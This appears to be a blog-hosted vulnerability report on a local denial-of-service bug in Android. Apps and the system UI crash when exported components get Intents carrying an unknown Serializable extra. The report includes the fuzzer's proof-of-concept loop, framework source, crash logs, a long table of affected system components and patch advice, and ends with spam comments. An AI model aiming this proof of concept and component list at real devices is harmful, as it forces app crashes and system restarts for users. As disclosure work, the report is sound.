bugreport_Android Most System Apps Crash/Restart bugs for Serializable Intent
0x0 Describe
Through the fuzz test of the latest version of android 9.0.0 with IntentFuzzer tool, it was found that many system apps have the same bug, which can make most apps crash directly, and the most serious one can make the
android:ui restart directly. This problem can be found in most versions of a large number of devices, Now I only tested pixel_salifish 7.1.0 (NDE63H, Oct 2016), 8.1.0 (OPM4.171019.021 P1, Jul 2018), 9.0.0 (PPR2.181005.003. A1, Nov 2018) and the master branch aosp_salifish - userdebug Q PI eng. Amd. 20181105.110826 the test - keys, These versions have this problem.0x1 Version
device：pixel（salifish）
version：android 9.0.0（PPR2.181005.003.A1, Nov 2018）
It’s the factory latest version（https://developers.google.com/android/images#sailfish）
version：android 9.0.0（PPR2.181005.003.A1, Nov 2018）
It’s the factory latest version（https://developers.google.com/android/images#sailfish）
0x2 POC
Based on open source IntentFuzzer tools.
The main attack code is as follows. The intent with serialization parameter “test” is sent to the exposed component, and a small number of empty intent will also cause crash.
The main attack code is as follows. The intent with serialization parameter “test” is sent to the exposed component, and a small number of empty intent will also cause crash.
fuzzAllSeBtn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
for(ComponentName cmpName : components){
Intent intent = new Intent();
intent.setComponent(cmpName);
intent.putExtra("test", new SerializableTest());
if (sendIntentByType(intent, currentType)) {
Toast.makeText(FuzzerActivity.this, "Sent Serializeable " + intent, Toast.LENGTH_LONG).show();
} else {
Toast.makeText(FuzzerActivity.this, R.string.send_faild, Toast.LENGTH_LONG).show();
}
}
}
});
0x3 Bug Reason
When the app receives intent with serialization parameters, if the code reads the parameters, even if the readSerializable mode is not used, it can still instantiate the serialized object just as shown below:
@ Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ButterKnife.bind(target:this);
getIntent().getIntExtra(name:"1234",defaultValue:1);
}
Source code is as follows:
After the app receives the intent will be through
https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/os/Parcel.java
After the app receives the intent will be through
Parcel. Java relevant code parsing, including readVaule() method will pass readInt() to read the parameter type:https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/os/Parcel.java
/**
* Read a typed object from a parcel. The given class loader will be
* used to load any enclosed Parcelables. If it is null, the default class
* loader will be used.
*/
public final Object readValue(ClassLoader loader) {
int type = readInt();
switch (type) {
case VAL_NULL:
return null;
case VAL_STRING:
return readString();
...
case VAL_BYTE:
return readByte();
//If readInt() reads the value type for ` VAL_SERIALIZABLE `, will call readSerializable(loader) to parse the intent parameters
case VAL_SERIALIZABLE:
return readSerializable(loader);
case VAL_PARCELABLEARRAY:
return readParcelableArray(loader);
...
Then executed to BaseDexClassLoader’s findClass, and findClass cannot find the object, throwing an exception, and eventually the app crashes and some processes, such as the desktop (android: UI) crashes and restarts.
This means that if you deliberately send an unincluded class to the target app, it will crash, which is a common problem.
Caused by: java.lang.ClassNotFoundException: Didn't find class "com.weiqing.fuzzer.util.Utils$2" on path: DexPathList[[zip file "/data/app/com.weiqing.test-2/base.apk"],nativeLibraryDirectories=[/data/app/com.weiqing.test-2/lib/arm64, /data/app/com.weiqing.test-2/base.apk!/lib/arm64-v8a, /system/lib64, /vendor/lib64]]
at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)
at java.lang.ClassLoader.loadClass(ClassLoader.java:380)
at java.lang.ClassLoader.loadClass(ClassLoader.java:312)
at java.lang.Class.classForName(Native Method)
at java.lang.Class.forName(Class.java:400)
at android.os.Parcel$2.resolveClass(Parcel.java:2616)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1613)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1518)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1772)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:373)
at android.os.Parcel.readSerializable(Parcel.java:2624)
at android.os.Parcel.readValue(Parcel.java:2416)
at android.os.Parcel.readArrayMapInternal(Parcel.java:2732)
at android.os.BaseBundle.unparcel(BaseBundle.java:271)
at android.os.BaseBundle.getInt(BaseBundle.java:876)
at android.content.Intent.getIntExtra(Intent.java:6194)
at com.weiqing.test.MainActivity.onCreate(MainActivity.java:47)
at android.app.Activity.performCreate(Activity.java:6684)
at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1119)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2637)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2751)
at android.app.ActivityThread.-wrap12(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1496)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:154)
at android.app.ActivityThread.main(ActivityThread.java:6186)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:889)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:779)
0x4 Patch advice
0x41 The app layer
All apps add exception handling to avoid crashes (BaseDexClassLoader still throws exceptions).
@ Override
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ButterKnife.bind(target:this);
try{
getIntent().getIntExtra(name:"1234",defaultValue:1);
}catch(Exception e){
e.printStackTrace();
}
}
0x42 The System layer
It is recommended to patch at the system layer, but my code ability is weak, so I can’t give effective advice.
0x5 Problems
0x51 The android:ui crashes and restarts
The problem component：android/com.android.internal.app.IntentForwarderActivity
Crash logs：（logcat Filter order：
Crash logs：（logcat Filter order：
logcat -s *:E | grep FATAL -A 10）11-29 18:48:42.499 4637 4637 E AndroidRuntime: *** FATAL EXCEPTION IN SYSTEM PROCESS: main
11-29 18:48:42.499 4637 4637 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{android/com.android.internal.app.IntentForwarderActivity}: java.lang.RuntimeException: Parcelable encountered ClassNotFoundException reading a Serializable object (name = com.android.intentfuzzer.util.SerializableTest)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2913)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3048)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:78)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:108)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:68)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1808)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.os.Handler.dispatchMessage(Handler.java:106)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at android.os.Looper.loop(Looper.java:193)
11-29 18:48:42.499 4637 4637 E AndroidRuntime: at com.android.server.SystemServer.run(SystemServer.java:454)
--
11-29 18:48:42.644 6211 6211 E AndroidRuntime: FATAL EXCEPTION: main
11-29 18:48:42.644 6211 6211 E AndroidRuntime: Process: com.android.intentfuzzer, PID: 6211
11-29 18:48:42.644 6211 6211 E AndroidRuntime: DeadSystemException: The system died; earlier logs will point to the root cause
11-29 18:48:42.647 644 1689 E locSvc_FlpAdapter: E/void FlpLocationAdapter::offloadStopFlpSessionRequest(const FlpSessionKey &):1027]: there is no active flp session at all
11-29 18:48:42.647 5934 8248 E AndroidRuntime: FATAL EXCEPTION: IntentService[DropBoxEntryAddedChimeraService]
11-29 18:48:42.647 5934 8248 E AndroidRuntime: Process: com.google.android.gms, PID: 5934
11-29 18:48:42.647 5934 8248 E AndroidRuntime: java.lang.NullPointerException: Attempt to invoke virtual method 'ofi nvu.c()' on a null object reference
11-29 18:48:42.647 5934 8248 E AndroidRuntime: at com.google.android.gms.stats.service.DropBoxEntryAddedChimeraService.onHandleIntent(:com.google.android.gms@[email protected] (100408-199405334):487)
11-29 18:48:42.647 5934 8248 E AndroidRuntime: at dcb.handleMessage(Unknown Source:6)
11-29 18:48:42.647 5934 8248 E AndroidRuntime: at android.os.Handler.dispatchMessage(Handler.java:106)
11-29 18:48:42.647 5934 8248 E AndroidRuntime: at android.os.Looper.loop(Looper.java:193)
11-29 18:48:42.647 5934 8248 E AndroidRuntime: at android.os.HandlerThread.run(HandlerThread.java:65)
11-29 18:48:42.649 5934 8248 E BaseUncaughtHandler: Hit an exception while processing the UncaughtExceptionHandler. Original exception:
11-29 18:48:42.649 5934 8248 E BaseUncaughtHandler: java.lang.NullPointerException: Attempt to invoke virtual method 'ofi nvu.c()' on a null object reference
11-29 18:48:42.649 5934 8248 E BaseUncaughtHandler: at com.google.android.gms.stats.service.DropBoxEntryAddedChimeraService.onHandleIntent(:com.google.android.gms@[email protected] (100408-199405334):487)
--
11-29 18:48:42.674 6292 6292 E AndroidRuntime: FATAL EXCEPTION: main
11-29 18:48:42.674 6292 6292 E AndroidRuntime: Process: com.android.vending, PID: 6292
11-29 18:48:42.674 6292 6292 E AndroidRuntime: DeadSystemException: The system died; earlier logs will point to the root cause
11-29 18:48:42.870 4585 4585 E Zygote : Exit zygote because system server (4637) has terminated
11-29 18:48:42.951 633 633 E Diag_Lib: BluetoothDeathRecipient: Calling HAL close
11-29 18:48:43.131 8277 8285 E CameraService: onDeviceStatusChanged: State transition to the same status 0x1 not allowed
11-29 18:48:43.131 8277 8285 E CameraService: onDeviceStatusChanged: State transition to the same status 0x1 not allowed
11-29 18:48:43.172 8279 8279 E Netd : Error adding route 0.0.0.0/0 -> (null) dummy0 to table 1003: File exists
11-29 18:48:43.173 8279 8279 E Netd : Unable to create netlink socket: Protocol not supported
11-29 18:48:43.330 661 5729 E NxpHal : Ignoring read, HAL close triggered
11-29 18:48:43.667 8274 8274 E Typeface: Error mapping font file /system/fonts/NotoSerifEthiopic-Regular.otf
0x52 Most system apps crash
| Apps | Problem components | intent type |
|---|---|---|
| android | android/com.android.internal.app.ConfirmUserCreationActivity | Null/Serializable |
| com.google.android.carriersetup | com.google.android.carriersetup/com.google.android.carriersetup.VzwSetupActivity | Serializable |
| com.android.cts.priv.ctsshim | com.android.cts.priv.ctsshim/com.android.cts.priv.ctsshim.UpgradeNewAuthority | Null/Serializable |
| com.android.cts.priv.ctsshim/com.android.cts.priv.ctsshim.UpgradeNewScheme | Null/Serializable | |
| com.android.cts.priv.ctsshim/com.android.cts.priv.ctsshim.UpgradeNewCategory | Null/Serializable | |
| com.android.cts.priv.ctsshim/com.android.cts.priv.ctsshim.InstallPriority | Null/Serializable | |
| … | … | |
| almost all activity | Null/Serializable | |
| com.google.android.youtube | com.google.android.youtube/com.google.android.apps.youtube.app.application.Shell$SettingsActivity | Serializable |
| com.google.android.googlequicksearchbox | com.google.android.googlequicksearchbox/com.google.android.apps.gsa.staticplugins.opa.hq.ResizableOpaHqActivity | Serializable |
| com.google.android.googlequicksearchbox/com.google.android.apps.gsa.velour.DynamicActivityTrampoline | Serializable | |
| com.google.android.googlequicksearchbox/com.google.android.apps.gsa.speech.setupwizard.HotwordSetupWizardActivity | Serializable | |
| com.google.android.apps.gsa.bloblobber.receiver.BlobDownloadedReceiver | Serializable | |
| com.google.android.apps.gsa.search.core.location.LocationReceiver | Serializable | |
| android.process.media | com.android.providers.media.MediaScannerReceiver | Null |
| MediaScannerService | Serializable | |
| com.qti.service.colorservice | com.qti.service.colorservice | Null/Serializable |
| com.android.documentsui | com.android.documentsui/com.android.documentsui.ScopedAccessActivity | Serializable |
| com.android.htmlviewer | com.android.htmlviewer/com.android.htmlviewer.HTMLViewerActivity | Serializable |
| com.google.android.apps.multidevice.client | com.google.android.apps.multidevice.client/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.google.android.apps.multidevice.client/com.google.android.apps.multidevice.client.ui.pixel.SetupActivity | Serializable | |
| com.google.android.apps.multidevice.client.connection.PixelInitializer | Serializable | |
| com.google.android.apps.messaging | com.google.android.apps.messaging/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.google.android.apps.messaging/com.google.android.apps.messaging.ui.WidgetPickConversationActivity | Serializable | |
| com.google.android.apps.messaging/com.google.firebase.iid.FirebaseInstanceIdService | Serializable | |
| com.google.android.apps.messaging.shared.experiments.BuglePhenotypeBroadcastReceiver | Serializable | |
| com.google.android.apps.messaging/com.google.firebase.messaging.FirebaseMessagingService | Serializable | |
| com.google.android.soundpicker | com.google.android.soundpicker/com.google.android.soundpicker.PickerActivity | Serializable |
| com.google.android.configupdater | com.google.android.configupdater.CertPin.CertPinUpdateRequestReceiver | Serializable |
| com.google.android.configupdater.NetworkWatchlist.NetworkWatchlistUpdateRequestReceiver | Serializable | |
| com.android.vending | com.android.vending/com.google.android.wallet.instrumentmanager.redirect.ImFinishAndroidAppRedirectActivity | Serializable |
| com.android.vending/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable | |
| com.android.vending/com.google.android.finsky.family.setup.FamilySetupActivity | Serializable | |
| com.android.vending/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable | |
| com.google.android.finsky.setup.LauncherConfigurationReceiver | Serializable | |
| com.android.vending/com.google.firebase.iid.FirebaseInstanceIdService | Serializable | |
| com.android.certinstaller | com.android.certinstaller/com.android.certinstaller.CertInstallerMain | Serializable |
| com.google.android.marvin.talkback | com.google.android.marvin.talkback/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.android.egg | com.android.egg.octo.Ocquarium | Serializable |
| com.android.egg.neko.NekoLand | Serializable | |
| com.android.egg.neko.NekoActivationActivity | Serializable | |
| com.android.mtp | com.android.mtp/com.android.mtp.ReceiverActivity | Serializable |
| com.android.mtp.UsbIntentReceiver | Null/Serializable | |
| com.android.nfc | com.android.nfc.BeamShareActivity | Serializable |
| com.google.android.deskclock | com.google.android.deskclock/com.android.deskclock.DeskClock | Serializable |
| com.android.alarmclock.DigitalAppWidgetProvider | Null/Serializable | |
| com.qualcomm.qti.radioconfiginterface | RadioConfigService Null/Serializable | |
| com.google.android.as | com.google.android.as/com.google.android.apps.miphone.aiai.settings.ui.SettingsActivity | Serializable |
| com.google.android.gm | com.google.android.gm/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.google.android.gm/com.google.android.gm.CreateShortcutActivityGmail | Serializable | |
| com.google.android.gm/com.google.android.gm.ComposeActivityGmailExternal | Serializable | |
| com.android.email.service.EmailBroadcastReceiver | Null/Serializable | |
| com.google.android.carrier | com.google.android.carrier.CarrierSettingsReceiver | Null/Serializable |
| com.qualcomm.qti.auth.secureextauthservice | com.qualcomm.qti.auth.secureextauthservice.SecureExtAuthService | Null/Serializable |
| com.google.android.setupwizard | com.google.android.setupwizard/com.google.android.setupwizard.predeferred.PreDeferredSetupWizardActivity | Serializable |
| com.google.android.setupwizard/com.google.android.setupwizard.user.GoogleServicesWrapper | Serializable | |
| com.google.android.setupwizard/com.google.android.setupwizard.WizardManagerActivity | Null/Serializable | |
| com.google.android.setupwizard/com.google.android.setupwizard.predeferred.PreDeferredSetupWizardActivity | Serializable | |
| com.google.android.music | com.google.android.music/com.google.android.gms.appinvite.PreviewActivity | Serializable |
| com.google.android.music/com.google.android.music.ui.navigation.AppNavigationTrampolineActivity | Null/Serializable | |
| com.google.android.music/com.google.android.gms.appinvite.PreviewActivity | Serializable | |
| com.google.android.music/com.google.android.music.ui.navigation.ShortcutTrampolineActivity | Null/Serializable | |
| com.google.android.dialer | com.google.android.dialer/com.android.incallui.telecomeventui.InternationalCallOnWifiDialogActivity | Serializable |
| com.google.android.dialer/com.google.android.apps.dialer.main.GoogleMainActivity | Serializable | |
| com.android.voicemail.VoicemailSecretCodeReceiver | Null | |
| com.google.android.apps.cloudprint | com.google.android.apps.cloudprint/android.app.AliasActivity | Serializable |
| com.google.android.apps.cloudprint/com.google.android.apps.cloudprint.printdialog.AdvancedPrintOptionsActivity | Null/Serializable | |
| com.android.musicfx | com.android.musicfx/com.android.musicfx.Compatibility$Redirector | Serializable |
| com.android.musicfx/com.android.musicfx.ActivityMusic | Serializable | |
| com.android.musicfx.ControlPanelReceiver | Serializable | |
| com.android.musicfx.Compatibility$Receiver | Null | |
| com.google.android.apps.maps | com.google.android.apps.maps/com.google.android.gms.appinvite.PreviewActivity | Serializable |
| com.google.android.apps.maps/com.google.android.apps.gmm.car.firstrun.GmmProjectedFirstRunActivity | Serializable | |
| com.google.android.apps.maps/com.google.android.libraries.abuse.reporting.ReportAbuseActivity | Null | |
| com.google.android.apps.gmm.traffic.notification.service.TrafficToPlaceNotificationGeofenceReceiver | Serializable | |
| com.google.android.markup | com.google.android.markup/com.google.android.markup.AnnotateActivity | Serializable |
| com.android.cellbroadcastreceiver | com.android.cellbroadcastreceiver.CellBroadcastListActivity | Serializable |
| com.android.cellbroadcastreceiver.CellBroadcastSettings | Serializable | |
| com.google.android.contacts | com.google.android.contacts/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.android.keychain | com.android.keychain/com.android.keychain.KeyChainActivity | Serializable |
| com.google.android.calculator | com.google.android.calculator2.Calculator | Serializable |
| com.google.android.calculator2.Licenses | Serializable | |
| com.android.chrome | com.android.chrome/com.android.webview.chromium.LicenseActivity | Serializable |
| com.android.chrome/org.chromium.chrome.browser.browseractions.BrowserActionActivity | Serializable | |
| com.qualcomm.qti.rcsbootstraputil | com.qualcomm.qti.rcsbootstraputil.RCSReceiver | Null/Serializable |
| com.google.android.packageinstaller | com.google.android.packageinstaller/com.android.packageinstaller.InstallStart | Serializable |
| com.google.android.gms | com.google.android.gms/com.google.firebase.auth.api.gms.ui.BrowserSignInResponseHandlerActivity | Null |
| com.google.android.gms/com.google.android.gms.matchstick.ui.ConversationListActivity | Null | |
| com.google.android.gms/com.google.android.gms.wallet.buyflow.CheckoutActivity | Null | |
| com.google.android.gms/com.google.android.gms.smartdevice.magicwand.MagicWandActivity | Null | |
| com.google.android.gms/com.google.android.gms.googlehelp.contact.chat.ChatSupportRequestFormActivity | Null | |
| com.google.android.gms/com.google.android.gms.auth.api.credentials.ui.CredentialsSaveConfirmationActivity | Null | |
| com.google.android.gms/com.google.android.gms.family.v2.invites.SendInvitationsActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.trustagent.discovery.OnbodyPromotionActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.tapandpay.settings.TapAndPaySettingsActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.matchstick.call.CallEntryActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.locationsharing.activity.OnboardingActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.instantapps.settings.SettingsActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.games.PlayGamesUpgradeActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.car.FirstActivity | Serializable | |
| com.google.android.gms/com.google.android.gms.backup.component.BackupSettingsActivity | Serializable | |
| com.google.android.gms.auth.api.credentials.openyolo.provider.CredentialQueryReceiver | Serializable | |
| com.google.android.gms.checkin.CheckinServiceTriggerReceiver | Serializable | |
| com.google.android.gms.gcm.GcmSenderProxy | Serializable | |
| com.google.android.gms.update.SystemUpdateServiceActiveReceiver | Serializable | |
| com.google.android.libraries.social.autobackup.PicasaQuotaChangedReceiver | Serializable | |
| com.google.android.gms.vision.DependencyBroadcastReceiverProxy | Serializable | |
| com.google.android.gms.trustagent.BluetoothDeviceBondStateBroadcastReceiver | Serializable | |
| com.google.android.gms.checkin.CheckinService | Null/Serializable | |
| com.google.android.gms/.fitness.service.recording.FitRecordingBroker | Null/Serializable | |
| com.google.android.gms/.carsetup.wifi.CarWifiConnectionService | Serializable | |
| com.google.android.gms/com.google.firebase.messaging.FirebaseMessagingService | Serializable | |
| com.google.android.gsf | com.google.android.gsf/com.google.android.gsf.settings.ConfirmLgaaylActivity | Serializable |
| com.google.android.gsf/com.google.android.gsf.settings.UseLocationForServicesActivity | Serializable | |
| com.google.android.tag | com.google.android.tag/com.android.apps.tag.TagViewer | Serializable |
| com.google.android.tts | com.google.android.tts/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.google.android.partnersetup | com.google.android.partnersetup.RlzPingBroadcastReceiver | Null/Serializable |
| com.android.safetyregulatoryinfo | com.android.safetyregulatoryinfo.SafetyAndRegulatoryInfoActivity | Serializable |
| com.google.android.videos | com.google.android.videos/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.google.android.videos/com.google.android.videos.presenter.activity.AuxiliaryActivity | Serializable | |
| com.google.android.videos.mobile.presenter.activity.RestrictionsActivity$Receiver | Serializable | |
| com.google.android.apps.nexuslauncher | com.google.android.apps.nexuslauncher.reflection.NewAppInstallReceiver$V26 | Null/Serializable |
| com.android.launcher3.SessionCommitReceiver | Null/Serializable | |
| com.android.carrierdefaultapp | com.android.carrierdefaultapp.CarrierDefaultBroadcastReceiver | Null/Serializable |
| com.google.SSRestartDetector | com.google.SSRestartDetector.SSRHandler | Null/Serializable |
| com.google.android.feedback | com.google.android.feedback/com.google.android.feedback.FeedbackActivity | Null/Serializable |
| com.google.android.apps.photos | com.google.android.apps.photos/com.google.android.libraries.abuse.reporting.ReportAbuseActivity | Null |
| com.google.android.apps.photos/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable | |
| com.google.android.calendar | com.google.android.calendar/com.android.calendar.AllInOneActivity | Serializable |
| com.android.managedprovisioning | com.android.managedprovisioning/com.android.managedprovisioning.finalization.FinalizationActivity | Serializable |
| com.android.wallpaper.livepicker | com.android.wallpaper.livepicker/com.android.wallpaper.livepicker.LiveWallpaperChange | Serializable |
| com.android.settings | com.android.settings/com.android.settings.Settings$ManageAppExternalSourcesActivity | Null |
| com.android.settings/com.android.settings.bluetooth.DevicePickerActivity | Null | |
| com.android.settings/com.android.settings.Settings$IccLockSettingsActivity | Serializable | |
| com.android.settings/com.android.settings.Settings$TextToSpeechSettingsActivity | Serializable | |
| com.android.settings/com.android.settings.password.ConfirmDeviceCredentialActivity | Serializable | |
| com.android.settings/com.android.settings.Settings$DevelopmentSettingsDashboardActivity | Serializable | |
| com.android.settings/com.android.settings.Settings$WifiDisplaySettingsActivity | Serializable | |
| com.android.settings/com.android.settings.Settings$UsageAccessSettingsActivity | Serializable | |
| com.android.settings/com.android.settings.bluetooth.BluetoothPairingDialog | Null | |
| com.android.settings/com.android.settings.applications.InstalledAppDetailsTop | Null | |
| com.android.settings.bluetooth.BluetoothPairingRequest | Null | |
| com.android.settings/com.android.settings.Settings$ZenModeSettingsActivity | Serializable | |
| com.android.settings/com.android.settings.Settings$MobileDataUsageListActivity | Serializable | |
| com.android.settings/com.android.settings.Settings$UsageAccessSettingsActivity | Serializable | |
| com.google.android.wfcactivation/com.google.android.wfcactivation.WfcActivationActivity | Serializable | |
| com.google.android.apps.pixelmigrate | com.google.android.apps.pixelmigrate/com.google.android.apps.pixelmigrate.component.CloudRestoreFlowActivity | Null |
| com.google.android.apps.pixelmigrate/com.google.android.apps.pixelmigrate.component.RestoreProgressActivity | Serializable | |
| com.google.android.apps.pixelmigrate.util.SetupWizardLifecycleReceiver | Serializable | |
| com.google.android.settings.intelligence | com.google.android.settings.intelligence/com.google.android.settings.intelligence.modules.suggestions.NightlightTrampolineActivity | Serializable |
| com.google.android.settings.intelligence.libs.experiment.PhenotypeBroadcastReceiver | Serializable | |
| com.google.android.tetheringentitlement | com.google.android.tetheringentitlement/com.google.android.tetheringentitlement.CarrierEntitlementActivity | Serializable |
| com.android.cts.ctsshim | com.android.cts.ctsshim/com.android.cts.ctsshim.InstallPriority | Null/Serializable |
| com.android.vpndialog | com.android.vpndialogs/com.android.vpndialogs.ConfirmDialog | Serializable |
| com.google.android.apps.wallpaper | com.google.android.apps.wallpaper/com.google.android.apps.wallpaper.picker.StandalonePreviewActivity | Serializable |
| com.google.android.apps.wallpaper.module.GoogleAlarmInitializer | Null | |
| com.google.android.talk | com.google.android.talk/com.google.android.apps.hangouts.stub.PlayStoreRedirectActivity | Serializable |
| com.android.phone | com.android.phone/com.android.phone.NetworkSelectSettingActivity | Null |
| com.android.phone/com.android.phone.settings.VoicemailSettingsActivity | Serializable | |
| com.android.services.telephony.sip.SipIncomingCallReceiver | Null/Serializable | |
| com.google.vr.vrcore | com.google.vr.vrcore/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable |
| com.android.emergency | all activity | Serializable |
| com.android.systemui | com.android.systemui/com.android.systemui.ForegroundServicesDialog | Serializable |
| com.android.systemui/com.android.systemui.SlicePermissionActivity | Serializable | |
| com.android.systemui/com.android.systemui.media.MediaProjectionPermissionActivity | Serializable | |
| com.android.traceur | com.android.traceur.MainActivity | Serializable |
| com.google.android.apps.helprtc | com.google.android.apps.helprtc/com.google.android.apps.helprtc.ui.InvitationActivity | Serializable |
| com.google.android.apps.gcs | com.google.android.apps.gcs/com.google.android.apps.gcs.WifiAssistantOptInActivity | Serializable |
| com.android.bluetooth | com.android.bluetooth.opp.BluetoothOppReceiver | Null/Serializable |
| com.android.bluetooth/.pbap.BluetoothPbapService | Serializable | |
| com.android.captiveportallogin | com.android.captiveportallogin/com.android.captiveportallogin.CaptivePortalLoginActivity | Null/Serializable |
| com.google.android.GoogleCamera | com.google.android.GoogleCamera/com.google.android.apps.camera.legacy.app.activity.CameraDeepLinkActivity | Null |
| com.google.android.GoogleCamera/com.google.android.libraries.social.licenses.LicenseMenuActivity | Serializable | |
| com.android.connectivity.metrics | com.android.connectivity.metrics.SnapshotSchedulingReceiver | Null/Serializable |
| com.google.android.inputmethod.latin | com.google.android.inputmethod.latin/com.google.android.apps.inputmethod.libs.search.sticker.AppIndexingActivity | Serializable |
| com.google.android.gms.analytics.CampaignTrackingReceiver | Serializable | |
| com.google.android.storagemanager | com.google.android.storagemanager/com.android.storagemanager.deletionhelper.DeletionHelperActivity | Serializable |
0x6 The last
As the impact of the local crash problem is too weak, although this is a common bug, it still does not meet the location of the vulnerability of Google (DOS type at least requires the system to restart), has been ignored😂😂😂.
App Italy nasce dall’unione sinergica delle diverse competenze di un gruppo di professionisti app Android.
回复删除This was a really good blog, the information you mentioned in your post is really good and useful. I like your blog please share more information with us. This app helps to compare the prices in different shopping sites. At that time, this app used to help me more, to quickly compare the prices in Flipkart, Amazon etc.,mobile application developer dubai
回复删除